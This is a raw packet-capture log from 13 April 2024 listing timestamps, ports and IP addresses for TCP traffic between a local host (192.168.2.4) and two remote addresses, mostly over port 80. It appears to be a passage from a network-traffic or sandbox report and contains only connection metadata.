Apr 13, 2024 20:21:15.360915899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360920906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360954046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.360970020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.360990047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361011982 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361027956 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361030102 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361064911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361102104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361108065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361140013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361176968 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361183882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361210108 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361216068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361232042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361255884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361274958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361295938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361296892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361332893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361371040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361388922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361408949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361417055 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361448050 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361466885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361485004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361494064 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361522913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361560106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361579895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361597061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361603022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361634016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361664057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361670971 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361686945 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361710072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361733913 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361747980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361772060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361784935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361793041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361821890 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361825943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361859083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361876011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361896038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361912012 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.361934900 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361973047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.361987114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362011909 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362047911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362083912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362096071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362096071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362123966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362162113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362163067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362200022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362236023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362241983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362272978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362277031 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362310886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362350941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362350941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362391949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362427950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362428904 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362466097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362503052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362540007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362549067 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362549067 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362577915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362615108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362622976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362649918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362662077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362688065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362692118 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362728119 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362729073 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362765074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362768888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362802982 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362807989 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362839937 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362848043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362875938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362912893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362917900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.362950087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.362986088 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.363004923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.363004923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.363023043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.363023996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.363063097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.363101959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.363107920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.363117933 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.363138914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.363177061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.363194942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.363230944 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.373236895 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:15.375387907 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:15.412761927 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:15.693404913 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:15.703495026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703562021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703600883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703639984 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703679085 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703720093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703758955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703795910 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703800917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.703800917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.703800917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.703802109 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.703835011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703872919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703881979 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.703881979 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.703912020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703950882 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.703988075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704024076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704061985 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704099894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704137087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704149008 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704149008 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704149961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704149961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704149961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704174042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704210997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704273939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704274893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704273939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704317093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704355001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704386950 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704391956 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704411983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704432011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704468012 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704489946 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704504967 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704516888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704543114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704555035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704581976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704602003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704618931 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704655886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704693079 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704694986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704714060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704735041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704742908 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704772949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704809904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704838991 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704848051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704857111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704885960 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704924107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704958916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.704960108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.704977036 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705001116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705037117 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705048084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705076933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705112934 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705127001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705151081 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705166101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705188990 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705213070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705224991 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705233097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705265045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705280066 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705305099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705316067 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705342054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705354929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705379963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705391884 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705416918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705431938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705455065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705465078 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705492973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705528021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705538988 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705565929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705602884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705615997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705641031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705677986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705693960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705718040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705724955 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705755949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705794096 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705801010 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705801010 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705830097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705867052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705879927 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705904007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705931902 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705943108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705949068 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.705980062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.705993891 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706018925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706058025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706080914 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706094980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706098080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706131935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706171036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706196070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706208944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706232071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706245899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706285954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706300020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706322908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706360102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706371069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706397057 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706408978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706434965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706474066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706487894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706511974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706537962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706549883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706554890 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706587076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706623077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706648111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706661940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706665039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706702948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706722021 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706738949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706747055 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706779003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706798077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706816912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706854105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706878901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706892967 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706898928 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.706931114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706967115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.706991911 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707005024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707010031 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707041979 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707047939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707082033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707108021 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707120895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707127094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707159042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707195997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707207918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707233906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707264900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707271099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707285881 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707309961 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707324028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707348108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707389116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707426071 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707453966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707464933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707501888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707537889 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707550049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707576036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707612991 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707627058 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707650900 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707664967 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707690001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707722902 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707729101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707742929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707767010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707796097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707804918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707842112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707842112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707842112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707880020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707889080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707916975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707951069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707954884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.707971096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.707993031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708029985 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708040953 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708070993 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708091974 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708108902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708147049 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708158016 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708185911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708195925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708240032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708276987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708287954 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708314896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708350897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708350897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708369017 CEST	49744	80	192.168.2.4	193.233.132.167
